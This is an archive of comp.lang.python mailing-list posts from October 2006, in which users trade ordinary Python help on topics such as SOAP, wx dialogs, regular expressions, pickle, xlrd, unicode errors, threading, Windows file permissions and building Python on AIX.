About 10 years ago, the standards body for semiconductor process integration 
*was* using IDL to define process interfaces, and defining CORBA 
implementation bindings.  Unfortunately, the CORBA learning curve was too 
much, and the implementations were too expensive (at the time; today ACE and 
omniOrb are reasonable platforms).  The group today went with SOAP, defining 
a set of WSDL files to serve as the standard interface definition, in place 
of the CORBA IDL of yore.

And what you describe might still be a step up from the RS-232-based system 
in place today (instituted in the 70's, upgraded to ethernet in the late 
80's, but still limited to encoded ASCII and point-to-point connections).

I would definitely agree that working with callbacks in SOAP sometimes feels 
like an unnatural act.  But it is clearly an interprocess communication, and 
it does have an object model to its language bindings. Any Rube Goldberg 
aspects to SOAP are neatly buried in the code generated from the WSDL.

-- Paul






From no at spam.com  Wed Oct 25 14:22:06 2006
From: no at spam.com (Farshid Lashkari)
Date: Wed, 25 Oct 2006 11:22:06 -0700
Subject: cleaner way to write this?
In-Reply-To: <USN%g.148$1n3.4086@news.tufts.edu>
References: <USN%g.148$1n3.4086@news.tufts.edu>
Message-ID: <DVN%g.44079$Q82.8446@newsfe15.phx>

John Salerno wrote:
> Hi guys. I'm looking for a nicer, more compact way of writing this code. 
> It doesn't have to be anything fancy, just something without the 
> duplication and preferably only one return statement.
> 
>     def create_db_name(self):
>         dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:',
>                                  'Create New Database')
>         if dlg.ShowModal() == wx.ID_OK:
>             db_name = dlg.GetValue()
>             dlg.Destroy()
>             return db_name
>         else:
>             dlg.Destroy()
>             return
> 
> One problem is that if "Cancel" is pressed, I can't return anything. 
> Another problem is that the dialog must be destroyed, so that has to 
> come before any return statements.
> 
> Thanks.

This should work:

def create_db_name(self):
         dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:',
                                  'Create New Database')
         db_name = None
         if dlg.ShowModal() == wx.ID_OK:
             db_name = dlg.GetValue()
         dlg.Destroy()
         return db_name


-Farshid


From fredrik at pythonware.com  Wed Oct 25 11:24:16 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 17:24:16 +0200
Subject: class method question
In-Reply-To: <ehnu1i$9g3$1@trompette.imag.fr>
References: <ehnu1i$9g3$1@trompette.imag.fr>
Message-ID: <ehnviv$in9$2@sea.gmane.org>

Sylvain Ferriol wrote:

> can you explain why python does not see difference between instance 
> method and class method, having the same name

You're trying to put two objects with the same name in the same namespace.

> example
>  >>> class toto(object):
> ...     def f(self):
> ...             print('instance method')
> ...     @classmethod
> ...     def f(cls):
> ...             print('class method')
> ...
>  >>> t=toto()
>  >>> t.f
> <bound method type.f of <class '__main__.toto'>>
>  >>> t.f()
> class method
>  >>> toto.f()
> class method
> 
> if i do the same in ruby:

Python works better if you use it to write Python programs.

</F>



From fredrik at pythonware.com  Tue Oct 17 09:00:29 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 15:00:29 +0200
Subject: Newbie: datetime conversion question
References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>
Message-ID: <eh2k5d$hi1$1@sea.gmane.org>

"kevin evans" wrote:

> I'm trying to convert some code from Ruby to Python, specifically..
>
> timestamp = "%08x" % Time.now.to_i
>
> Make a hex version of the current timestamp. Any ideas how best to do
> this in python gratefully received..

that's perfectly valid Python code, provided Time is an object that has a "now"
property which in turn has a "to_i" property.

but assuming that you don't have such an object, you can do something like:

    timestamp = "%02x" % time.time()

</F> 





From R.Brodie at rl.ac.uk  Tue Oct  3 11:07:12 2006
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Tue, 3 Oct 2006 16:07:12 +0100
Subject: Best way to handle large lists?
References: <prrUg.1662$We.477@trndny08> <45227992.8090704@websafe.com>
	<45227BA1.6080107@hotmail.com>
Message-ID: <eftub0$53t$1@south.jnrs.ja.net>


"Chaz Ginger" <cginboston at hotmail.com> wrote in message 
news:45227BA1.6080107 at hotmail.com...

> Each item in the list is a fully qualified domain name, e.g.
> foo.bar.com. The order in the list has no importance.

So you don't actually need to use lists at all, then.
You can just use sets and write:

newSet = bigSet - littleSet




From no-spam at no-spam-no-spam.com  Wed Oct 25 19:42:11 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Thu, 26 Oct 2006 01:42:11 +0200
Subject: Converting Pascal syntax to Python
Message-ID: <ehoson$1rqi$1@ulysses.news.tiscali.de>

I want to convert some algorithms from a Pascal dialect to Python.  (Not embedding, but code itself)

Its mainly only math and function calls and simple array access but lengthy. 
Think Pascal is quite simlar/simpler in logic for that kind of stuff (in comparison to C/C++), so maybe quite simple syntax translation would help.
Is there a tool or script around which can help at least to save most of typing work?

-robert


From sjmachin at lexicon.net  Sat Oct  7 18:06:28 2006
From: sjmachin at lexicon.net (John Machin)
Date: 7 Oct 2006 15:06:28 -0700
Subject: need some regular expression help
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
Message-ID: <1160258788.750432.286140@h48g2000cwc.googlegroups.com>

Chris wrote:
> I need a pattern that  matches a string that has the same number of '('
> as ')':
> findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [
> '((2x+2)sin(x))', '(log(2)/log(5))' ]
> Can anybody help me out?
>

No, there is so such pattern. You will have to code up a function.

Consider what your spec really is: '42^((2x+2)sin(x)) +
(log(2)/log(5))' has the same number of left and right parentheses; so
does the zero-length string; so does ') + (' -- perhaps you need to add
'and starts with a "("'

Consider what you are going to do with input like this:

    print '(' + some_text + ')'

Maybe you need to do some lexical analysis and work at the level of
tokens rather than individual characters.

Which then raises the usual question: you have a perception that
regular expressions are the solution -- to what problem??

HTH,
John



From cameron.walsh at gmail.com  Wed Oct 18 22:31:01 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Thu, 19 Oct 2006 10:31:01 +0800
Subject: Cannot import a module from a variable
In-Reply-To: <mailman.731.1161224758.11739.python-list@python.org>
References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>	<eh6llc$gsg$1@enyo.uwa.edu.au>
	<mailman.731.1161224758.11739.python-list@python.org>
Message-ID: <eh6o0g$j13$1@enyo.uwa.edu.au>

Gabriel Genellina wrote:
> At Wednesday 18/10/2006 22:51, Cameron Walsh wrote:
> 
>>     previous_directory = os.getcwd()
>>     try:
>>         os.chdir(directory)
>>         [ ... ]
>>         return modules
>>     finally:
>>         os.chdir(previous_directory)
>>
>> Woah, that actually works?  Having the "finally" after the "return"?
>> That could make some things easier, and some things harder...
> 
> Note that moving the return statement after the finally does *exactly* 
> the same thing, generates shorter code, and is a lot more readable (IMHO).
> 
> 

I wholeheartedly agree, the above version is hideous.  It was a 
copy-paste error that got it after the return statement and I was 
surprised to see it actually worked.


From Matthew.Warren at Digica.com  Thu Oct  5 06:28:08 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Thu, 5 Oct 2006 11:28:08 +0100
Subject: Why do this?
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE58E@UKEX01.Digica.local>

Ok, not really python focused, but it feels like the people here could
explain it for me :)

Now, I started programming when I was 8 with BBC Basic.

I never took any formal classes however, and I have never become an
expert programmer. I'm an average/hobbyist programmer with quite a few
languages under my belt but I cant do any really fancy tricks with any
of them. (although Python might be nudging me into more advanced things,
now I'm starting to get what all the __method__ thingies and operators
are all about)

I learned over the years to do things like the following, and I like
doing it like this because of readability, something Python seems to
focus on :-

Print "There are "+number+" ways to skin a "+furryanimal

But nowadays, I see things like this all over the place;

print("There are %s ways to skin a %s" % (number, furryanimal))

Now I understand there can be additional formatting benefits when
dealing with numbers, decimal places etc.. But to me, for strings, the
second case is much harder to read than the first.

I hope I'm not being dense.

The result is that I have pathalogically avoided print "%s" % (thing)
because it seems to just over complicate things.


Ta, :)

Matt.





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From bignose+hates-spam at benfinney.id.au  Thu Oct 26 18:48:26 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 08:48:26 +1000
Subject: Handling emails
References: <mailman.967.1161596728.11739.python-list@python.org>
	<mailman.1090.1161707760.11739.python-list@python.org>
	<GhC%g.18871$UG4.13890@newsread2.news.pas.earthlink.net>
	<200610262031.25448.fulvio@tm.net.my> <87mz7jgrma.fsf@benfinney.id.au>
	<ehqbta$378$1@sea.gmane.org>
Message-ID: <8764e6hex1.fsf@benfinney.id.au>

Steve Holden <steve at holdenweb.com> writes:

> Please stop sending messages with obnoxious content like this.

Yes, I guess I should have expected a response like that from someone
:-)

> If you insist on telling someone off publicly via a newsgroup, once
> is enough.

Apparently not. I tried initially contacting him privately. Then I
 tried explaining in a (single) message to the list.

> I agree it's a pain, but Fulvio may not have it in his power to
> switch the header off. Mail admins do some incredibly stupid things.

There is always the option to not send messages to this list using
that mail server. I don't care what option is taken, so long as the
useless and obnoxious headers on his messages stop.

-- 
 \     Lucifer: "Just sign the Contract, sir, and the Piano is yours." |
  `\     Ray: "Sheesh! This is long! Mind if I sign it now and read it |
_o__)                             later?"  -- http://www.achewood.com/ |
Ben Finney



From http  Tue Oct 31 13:16:20 2006
From: http (Paul Rubin)
Date: 31 Oct 2006 10:16:20 -0800
Subject: "best" rational number library for Python?
References: <mailman.1558.1162317188.11739.python-list@python.org>
Message-ID: <7xvem0nyff.fsf@ruckus.brouhaha.com>

skip at pobox.com writes:
> Performance is, for now, certainly not an issue.  Even a pure Python
> rational number class would probably suffice.

There are certainly some of those around, but I'm surprised there's a
problem with GMP and Solaris.


From johnjsal at NOSPAMgmail.com  Mon Oct  2 16:28:17 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 02 Oct 2006 20:28:17 GMT
Subject: moving limewire music to my itunes library
In-Reply-To: <1159820467.904936.300170@i42g2000cwa.googlegroups.com>
References: <1159820467.904936.300170@i42g2000cwa.googlegroups.com>
Message-ID: <BDeUg.58$1n3.728@news.tufts.edu>

jenann50 at hotmail.com wrote:
> hi all, i know this is probably a silly question but 

Why are you asking this here? Do you want a Python solution for these tasks?

> i dont know how to
> move my limewire tunes to my itunes folder so that i can download them
> onto my ipod. 

Just "Import" them from iTunes directly. This will add them to your 
iTunes library/xml files.

> also if i have a music cd and load it into media windows
> player, how do i also get that music into my itunes library

Open the CD in iTunes and rip it directly from there.


From bearophileHUGS at lycos.com  Sat Oct 14 19:54:44 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 14 Oct 2006 16:54:44 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
In-Reply-To: <1160867101.267052.113280@h48g2000cwc.googlegroups.com>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<1160867101.267052.113280@h48g2000cwc.googlegroups.com>
Message-ID: <1160870083.987602.52690@f16g2000cwb.googlegroups.com>

Alexey Borzenkov:
> I was so attached to these "nameless" def-forms that I was even shocked
> when I found that this doesn't work in python:
>   f = def(a, b):
>     return a*b
> Another good feature of Boo, btw.

I think Boo has some good things worth consideration (and maybe worth
to copy) and some bad things that I like less than Python ones.
Turning def and class into functions reduces the need of lambdas
(compared to a lambda the required return is the only thing in the way)
and I like it, but maybe it reduces code readabilty a bit for people
that have just started to program:

mul2 = def(a, b):
    return a * b

Instead of:

def mul2(a, b):
    return a * b

The lightweight Io language uses an even simpler approach, some
examples:
http://www.iolanguage.com/about/samplecode/
An example:

factorial := method(n, if(n == 1, 1, n * factorial(n - 1)))

The "method" function is used to define functions...

Bye,
bearophile



From maxerickson at gmail.com  Tue Oct 10 19:17:33 2006
From: maxerickson at gmail.com (Max Erickson)
Date: Tue, 10 Oct 2006 23:17:33 +0000 (UTC)
Subject: MP3 files and Python...
References: <Xns985959C7FA2mosornet@161.53.160.64>
Message-ID: <Xns9858C43E94794maxericksongmailcom@80.91.229.5>

Karlo Lozovina <_karlo_ at _mosor.net_> wrote:

> I'm looking for a Python lib which can read and _write_ ID3v1 and
> ID3v2 tags, and as well read as much as possible data from MP3
> file (size, bitrate, samplerate, etc...).
> 
> MP3 reproduction is of no importance...
> 

Try mutagen:

http://www.sacredchao.net/quodlibet/



From shejo284 at gmail.com  Tue Oct  3 11:33:37 2006
From: shejo284 at gmail.com (Sheldon)
Date: 3 Oct 2006 08:33:37 -0700
Subject: Resuming a program's execution after correcting error
In-Reply-To: <1159483617.159482.169770@i3g2000cwc.googlegroups.com>
References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com>
	<1159483617.159482.169770@i3g2000cwc.googlegroups.com>
Message-ID: <1159889617.610051.100990@b28g2000cwb.googlegroups.com>


MRAB wrote:
> Sheldon wrote:
> > Hi.
> >
> > Does anyone know if one can resume a python script at the error point
> > after the error is corrected?
> > I have a large program that take forever if I have to restart from
> > scratch everytime. The error was the data writing a file so it seemed
> > such a waste if all the data was lost and must be recalculated again.
> >
> You could modify the program while you're debugging it so that instead
> of, say:
>
>     calculate data
>     write data
>
> you have:
>
>     if saved data exists:
>         load data
>     else:
>         calculate data
>         save data
>     write data
>
> The pickle module would be useful here.
>
> Matthew

I like your idea Matthew but I don't know how to pickle the many
variables in one file. Do I need to pickle each and every variable into
a seperate file?
var1,var2
pickle.dump(var1,f)
pickle.dump(var2,f2)

/Sheldon



From nitte.sudhir at gmail.com  Mon Oct 16 19:44:38 2006
From: nitte.sudhir at gmail.com (kath)
Date: 16 Oct 2006 16:44:38 -0700
Subject: XLRDError: Can't find workbook in OLE2 compound document
Message-ID: <1161042278.457487.132250@e3g2000cwe.googlegroups.com>

Hi....

XLRDError: Can't find workbook in OLE2 compound document

What does this error means?

When I try to open some excel files using XLRD, I encounter this error.
Not with every excel, but with some file.
Can anybody help me know, what is this error trying say and what I
should do to avoid this.


Traceback (most recent call last):
  File
"D:\PYTHON23\lib\site-packages\Pythonwin\pywin\framework\scriptutils.py",
line 310, in RunScript
    exec codeObject in __main__.__dict__
  File "D:\Python23\Testing area\Python and Excel\read_map.py", line
71, in ?
    workbook=xlrd.open_workbook(_file[kfp])
  File "D:\PYTHON23\Lib\site-packages\xlrd\__init__.py", line 121, in
open_workbook
    logfile=logfile, verbosity=verbosity, pickleable=pickleable,
use_mmap=use_mmap,
  File "D:\PYTHON23\Lib\site-packages\xlrd\__init__.py", line 304, in
__init__
    raise XLRDError("Can't find workbook in OLE2 compound document")
XLRDError: Can't find workbook in OLE2 compound document


Thank you.
Regards,
sudhir.



From george.sakkis at gmail.com  Mon Oct 16 00:55:52 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 15 Oct 2006 21:55:52 -0700
Subject: OT: What's up with the starship?
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
Message-ID: <1160974552.906162.115060@k70g2000cwa.googlegroups.com>

rurpy at yahoo.com wrote:
> Robert Hicks wrote:
> > rurpy at yahoo.com wrote:
> > > T. Bryan wrote:
> > > > Thomas Heller wrote:
> > > >
> > > > > I cannot connect to starship.python.net: neither http, nor can I login
> > > > > interactively with ssl (and the host key seems to have changed as well).
> > > > >
> > > > > Does anyone know more?
> > > >
> > > > starship.python.net was compromised.  It looked like a rootkit may have been
> > > > installed.  The volunteer admins are in the process of reinstalling the OS
> > > > and rebuilding the system.  That process will probably take a few days at
> > > > least.
> > >
> > > Does anyone know more?
> > >
> > > What about the integrity of the python packages hosted there?
> > > When was the site compromised?
> > > I just installed the python 2.5 pywin module last week.
> > > Should I be concerned?
> > >
> > > Is this related to the Python security problem recently announced?
> >
> > Did you even read about the vulnerability?
>
> Yes.  Do you have any answers, or do you just enjoy posting irrevelant
> responses?

I guess his response implied that what's irrelevant here is the
vulnerability, and accordingly your worries about it.



From nitte.sudhir at gmail.com  Tue Oct 10 14:20:03 2006
From: nitte.sudhir at gmail.com (kath)
Date: 10 Oct 2006 11:20:03 -0700
Subject: what is this UnicodeDecodeError:....?
Message-ID: <1160504403.384348.253650@k70g2000cwa.googlegroups.com>

I have a number of excel files. In each file DATE is represented by
different name. I want to read the date from those different file. Also
the date is in different column in different file.

To identify the date field in different files I have created a file
called _globals where I keep all aliases for DATE in a array called
'alias_DATE'.

Array alias_DATE looks like,

alias_DATE=['TRADEDATE', 'Accounting Date', 'Date de VL','Datum',
'Kurs-datum', 'Date', 'Fecha Datos', 'Calculation Date', 'ClosingDate',
'Pricing Date', 'NAV Date', 'NAVDate', 'NAVDATE', 'ValuationDate',
'Datestamp', 'Fecha de Valoraci?n', 'Kurs-','datum',
"""Kurs-\ndatum""", "Kurs-\ndatum"]

Now I want the index of the column where date is there.  I followed the
with followin code.


>>> b=xlrd.open_workbook('Santander_051206.xls')
>>> sh=b.sheet_by_index(0)
>>> sh.cell_value(rowx=0, colx=11)
u'Fecha de Valoraci\xf3n'
>>> val=sh.cell_value(rowx=0, colx=11)
>>> val
u'Fecha de Valoraci\xf3n'
>>> print val
Fecha de Valoraci?n
>>> import _globals		# the file where I have stored my 'alias_DATE' array
>>> _globals.alias_DATE.index(val)
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
UnicodeDecodeError: 'ascii' codec can't decode byte 0xf3 in position
17: ordinal not in range(128)
>>>

Though I have matching value in the array, why I am getting this error.
Can any one please tell me why is this error, and how to get rid of
this error. Because I have some files which containing some more
special characters. 


Thank you in advance.
Sudhir.



From martin at v.loewis.de  Tue Oct 31 16:33:57 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 31 Oct 2006 22:33:57 +0100
Subject: Integrating Python with Fortran
In-Reply-To: <1162329971.939178.290250@m7g2000cwm.googlegroups.com>
References: <1162329971.939178.290250@m7g2000cwm.googlegroups.com>
Message-ID: <4547C145.1080402@v.loewis.de>

unexpected schrieb:
> I'm aware of resources like the F2Py Interface generator, but this only
> lets me access the Fortran modules I need in Python. I'm wondering if
> there's a way to generate the .o files from Python (maybe using
> py2exe?) and then link the .o file with the rest of the Fortran project
> using something like gcc.
> 
> I realize that all of this is highly dependent on the libraries I use,
> etc, but I'm just looking for general strategies to attack the problem
> or someone to tell me that this is impossible.

Please take a look at the "extending and embedding" tutorial. This
explains you how to integrate Python code into a C application.
If you think this could work for you if just your application was C, I
think the Python-Fortran people can give you precise instructions on how
to integrate Python code into a Fortran program.

In the simplest embedding example, you just link the Python VM itself
into the hosting application. The actual Python files stay on disk, and
invoking a Python function from C/Fortran will just end up doing a
regular Python import (with searching sys.path and everything).

If, for packaging reasons, you prefer to have the Fortran program
stand-alone, I recommend to use freeze. freeze gives you indeed .o files
for Python files, plus a global table of all frozen modules. Then, when
doing an import, the interpreter won't go to disk anymore, but it will
import the byte code "from memory" (it still would be a regular import
operation). Freeze, of course, requires you to recompile/relink your
application every time you change a Python source file.

HTH,
Martin


From fabien.benard at gmail.com  Thu Oct 12 17:55:58 2006
From: fabien.benard at gmail.com (fabien.benard at gmail.com)
Date: 12 Oct 2006 14:55:58 -0700
Subject: SOAPpy and callback
Message-ID: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>

Hello,

I'm trying to find how to use a callback in a SOAP client using SOAPpy.
Does SOAPpy have to manage it, or does Python include some API to do
it?

Thanks a lot.
Fabien



From sebastien.ramage at gmail.com  Tue Oct  3 03:45:02 2006
From: sebastien.ramage at gmail.com (=?iso-8859-1?q?S=E9bastien_Ramage?=)
Date: 3 Oct 2006 00:45:02 -0700
Subject: How Build VTK for Python 2.5 under Windows?
Message-ID: <1159861502.281759.105750@m7g2000cwm.googlegroups.com>

Hello,
I'm running on Windows and I want to test VTK but I don't understand
how build it

Somebody can help me to build VTK for Python 2.5 under Windows? (or
Python 2.43 if python 2.5 is a problem)

I have no C compiler but I can install one if it's free.

Thank you

Seb



From martin.dion at gmail.com  Wed Oct 18 23:33:15 2006
From: martin.dion at gmail.com (martdi)
Date: 18 Oct 2006 20:33:15 -0700
Subject: Converting existing module/objects to threads
In-Reply-To: <1161227550.254069.254980@e3g2000cwe.googlegroups.com>
References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
	<1161225648.047155.163200@h48g2000cwc.googlegroups.com>
	<1161227550.254069.254980@e3g2000cwe.googlegroups.com>
Message-ID: <1161228794.927591.306780@i42g2000cwa.googlegroups.com>

I am not sure if I understand you question well, but:

 in the __init__ of the thread subclass, you can instantiate an object
of the class that makes the work

or

ControllerThread could extend both classes and i don't think there
would be a problem.



Problems in multithreading usually happen when many threads try to
access the same ressource at the same time or that one thread waits for
an other thread to finish, and that other thread waits for the first
one to finish. The Queue module is threadsafe and it uses locking to
prevent multiple threads to access it at the same time. Using Queue is
a lot easier than having to manage locks by yourself.

As long as you do not share data between your classes like static
members, database connections, or I/0 on the same ressource, you
probably won't encounter problems.

jdlists at gmail.com wrote:
> martdi wrote:
> > jdlists at gmail.com wrote:
> > > I have inheirted some existing code, that i will explain in a moment,
> > > have needed to extend and ultimately should be able to run in threads.
> > > I've done a bunch of work with python but very little with threads and
> > > am looking for some pointers on how to implement, and if the lower
> > > level modules/objects need to be rewritten to use threading.local for
> > > all local variables.
> > >
> > > I have a module that communicates with a hardware device, which reads
> > > data off of sensors, that can only talk with one controller at a time.
> > > The controller (my module) needs to (in its simplest form) init,
> > > configure the device, request data, and write out xml, sleep, repeat.
> > >
> > > The new request is that the device needs to be queried until a
> > > condition is true, and then start requesting data.  So an instance of a
> > > controller needs to be deadicated to a hardware device forever, or
> > > until the program ends....which ever comes first.
> > >
> > > This currently works in a non-threaded version, but only for one device
> > > at a time, there is a need to create a single windows(yeach) service
> > > that talks to many of these devices at once.  I don't need worker
> > > threads that handle seperate portions of the entire job, i need a
> > > single application to spawn multiple processes to run through the
> > > entire communication from configure to report, sleep until the next
> > > interval time and run again.  The communication could last from 1
> > > minute to 10 minutes before it ends.
> > >
> > >
> > >   Here is the code layout in pseudocode.
> > >
> > > module.Object - controller.Main - handles all socket communications
> > >
> > > class subcontroller(controller.Main):
> > >   def __init__(self,id,configurationFile):
> > >    controller.Main.__init__(self)
> > >    // instantiate variables and local objects that handle
> > > configuration, logic and data output
> > >
> > >   def configure(self,configurationFile):
> > >     //read configurationFile and configure device
> > >
> > >   def process(self):
> > >     while 1:
> > >       //based on configuration file, query the device until condition
> > > is true and then write xml, sleep until time to repeat and run again.
> > >
> > > within controller there are 5 objects and subcontroller is a sinlge
> > > object that loads other objects from the inherited controller.System
> > >
> > > I'm trying to figure out how difficult it is going to be to convert
> > > this to a threaded application.  The original controller.Main is built
> > > to talk to devices in series, never in parallel. so no objects are
> > > considered to be thread safe, but no instance of any of the objects
> > > should need to share resources with any other instance of teh same
> > > object.  they would all have unique configuration files and talk to
> > > devices on unique ip/ports.
> > >
> > > on a unix system, forking,while potentially not optimal, would be a
> > > fine solution, unfortunantely this needs to run on windows.
> > >
> > > I know i have left out many details, but hopefully this is enough to at
> > > least enable some kind soles to lend an opinnion or two.
> > >
> > > many thanks
> > > jd
> >
> > Taking a look at asyncore could be worthwhile, but if you want to
> > implement it with threads, you may be able to do it this way:
> >
> > In your main file, from where you start the program, let's call it
> > main:
> >
> > main(self)
> > Load Required configuration
> > spawn threads (1 for each controller)
> > define a queue object from module queue.queue used for communication
> > with threads
> > enter an infinite loop that checks for the conditions
> >     once conditions are met, notify the proper thread
> >
> >
> > class ControllerThread(threading.Thread):
> >     def __init__(self):
> >         define a queue here, to process messages from the main
> >         call threading.Thread.__init__(self)
> >
> >     define method to load config for thread objects
> >     (you might want to pass an argument to init to load your configs
> > from a file)
> >     (you might also want to pass the queue of the main program to the
> > thread to send it messages)
> >     define methods to post messages to the queue like read, send to the
> > machine, stop, ...
> >
> >     define the run method that is what will be called when you start
> > your thread.
> >         this method should enter an infinite loop that will check if
> > something has to be done (check in the queue).
> >
> >
> >
> >
> >
> > hope this might help you
> > good luck
>
> thanks for the comments.  the ControllerThread already extends a class.
>  does this cause problems with classes that must extent
> threading.Thread.  Normally it should not matter, but with threads i'm
> unsure.  Should i just instantiate the object that i'm normally
> extending in the ControllerThread.__init__, and call it from the
> self.classthatusedtoextend.method(), or does it not matter.
> 
> again, thanks.



From rtw at freenet.co.uk  Tue Oct  3 11:03:25 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Tue, 03 Oct 2006 10:03:25 -0500
Subject: Instantiating an object when the type is only known at runtime
References: <1159883162.906612.292870@c28g2000cwb.googlegroups.com>
Message-ID: <Xns9851A323A453DrtwfreenetREMOVEcouk@216.196.109.145>

Samuel wrote in news:1159883162.906612.292870 at c28g2000cwb.googlegroups.com 
in comp.lang.python:

> Hi,
> 
> I am trying to replace the eval() in the following code:
> 
> def myfunc(type, table):
>     module   = __import__(type)
>     type     = 'module' + '.' + type
>     obj      = eval(type)
>     return obj(row[table.c.name], row[table.c.handle])
> 

>>> m = __import__( "StringIO" )
>>> x = getattr( m, "StringIO" )()
>>> x
<StringIO.StringIO instance at 0x00A47710>
>>> 

Rob.


From ismael.pernas.c at gmail.es  Mon Oct 23 10:57:12 2006
From: ismael.pernas.c at gmail.es (ismael)
Date: Mon, 23 Oct 2006 16:57:12 +0200
Subject: File and directory permissions in windows
Message-ID: <ehil5b$dq297@cesio.mundo-r.com>

Hi all

I have some problems to get the the permissions on windows. I use a simple
code that run perfectly in UNIX but give me wrong information on Windows. I
found this code searching by google:

import os
import stat

print os.stat('fichero.txt')
st = os.stat('fichero.txt')

mode = st[stat.ST_MODE]
print mode
if mode & stat.S_IREAD:   # same as stat.S_IRUSR
    print "readable"
if mode & stat.S_IWRITE:  # same as stat.S_IWUSR
    print "writable"
if mode & stat.S_IEXEC:   # same as stat.S_IXUSR
    print "executable"

This code allways say that file is readable and writable except if is a read
only file.
Looking for a solution I found this code that use other library but the
result is the same:

import nt
import os
import sys

if (sys.platform == "win32"):
        print nt.access ('c:/prueba/fichero.txt', nt.W_OK)

is there a solution for this?, another library or code? Anything that i do
wrong?
Thanks everybody.
Best regards.




From hpsekhon at googlemail.com  Mon Oct  2 13:51:00 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Mon, 02 Oct 2006 18:51:00 +0100
Subject: commands.getstatusoutput result is not command line exit value!!!
In-Reply-To: <4521456d$1@nntp0.pdx.net>
References: <452125F8.8070106@googlemail.com>	<mailman.1099.1159802638.10491.python-list@python.org>
	<4521456d$1@nntp0.pdx.net>
Message-ID: <45215184.1070906@googlemail.com>

yes already noted by Steve, thanks.

I should have spotted that myself straight away but I was too wrapped up 
in this whole "I didn't realise there were 2 sets of numbers" thing, 
gotta go read some unix programming books it would seem this is a os 
function that I am not aware of.

I still reserve the right to be annoyed at commands for not hiding this 
from me like everything else, but then </F> is right (as always it would 
seem) I should not be using such a deprecated thing like commands, I 
will switch to subprocess...

I'm even more surprised since I do so much shell scripting and I've 
never even heard of this thing before, I guess only the really 
battle-scarred old skool ones may know of it.

-h

Hari Sekhon



Scott David Daniels wrote:
> Steve Holden wrote:
>   
>> Hari Sekhon wrote:
>>     
>>> I'm running a command like
>>>
>>> import commands
>>> result = commands.getstatusoutput('somecommand')
>>> print result[0]
>>> 3072
>>>       
> ...
>   
>> No, it's just returning the error code in the top half of a sixteen-bit 
>> value. You will notice that 3072 == 2 * 256.
>>     
> For the rest of us playing along at home, there is a typo there:
> The preceding line should read:
>  > value. You will notice that 3072 == 12 * 256.
>
> --Scott David Daniels
> scott.daniels at acm.org
>   
-------------- next part --------------
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From nnorwitz at gmail.com  Fri Oct 27 23:23:50 2006
From: nnorwitz at gmail.com (nnorwitz at gmail.com)
Date: 27 Oct 2006 20:23:50 -0700
Subject: compiling on AIX 5.3 with vacpp
In-Reply-To: <1161895884.160561.308020@e3g2000cwe.googlegroups.com>
References: <1161895884.160561.308020@e3g2000cwe.googlegroups.com>
Message-ID: <1162005830.878986.204250@m73g2000cwd.googlegroups.com>

pruebauno at latinmail.com wrote:
> I am trying to compile Python 2.5 on AIX 5.3. I used
>
> building '_locale' extension
> ./Modules/ld_so_aix xlc_r -q64 -bI:Modules/python.exp
> build/temp.aix-5.3-2.5/home/pxadm/.test/Python-2.5/Modules/_localemodule.o
> -L/usr/local/lib -o build/lib.aix-5.3-2.5/_locale.so
> ld: 0711-317 ERROR: Undefined symbol: .bindtextdomain
> ld: 0711-317 ERROR: Undefined symbol: .textdomain
> ld: 0711-317 ERROR: Undefined symbol: .dcgettext
> ld: 0711-317 ERROR: Undefined symbol: .dgettext
> ld: 0711-317 ERROR: Undefined symbol: .gettext

The problem is that an additional library is needed to link the locale
module.  You will first need to determine what library is needed.
Maybe libintl?  To find out, you can do a man on any of those symbols,
for example, man textdomain.

That should tell you want library is required.  You will then need to
modify setup.py to add the extra library for the locale module.
There's already some support for this in setup.py around line 390:

        # access to ISO C locale support
        data = open('pyconfig.h').read()
        m = re.search(r"#s*define\s+WITH_LIBINTL\s+1\s*", data)
        if m is not None:
            locale_libs = ['intl']
        else:
            locale_libs = []
        if platform == 'darwin':
            locale_extra_link_args = ['-framework', 'CoreFoundation']
        else:
            locale_extra_link_args = []


        exts.append( Extension('_locale', ['_localemodule.c'],
                               libraries=locale_libs,
                               extra_link_args=locale_extra_link_args)
)

Once you get something working, please post a patch.

n



From aisaac0 at verizon.net  Wed Oct  4 13:29:36 2006
From: aisaac0 at verizon.net (David Isaac)
Date: Wed, 04 Oct 2006 17:29:36 GMT
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
	<CiRUg.25432$DU3.7189@tornado.texas.rr.com>
Message-ID: <4cSUg.7864$753.4683@trnddc05>

Paul M. wrote:
> Random access to item in list/set when item exists
> set  -> 0.000241650824337
> list -> 0.0245168031132
>
> Random access to item in list/set when item does not exist
> set  -> 0.000187733357172
> list -> 0.522086186932


OK, that's a much better set of answers
including to questions I did not
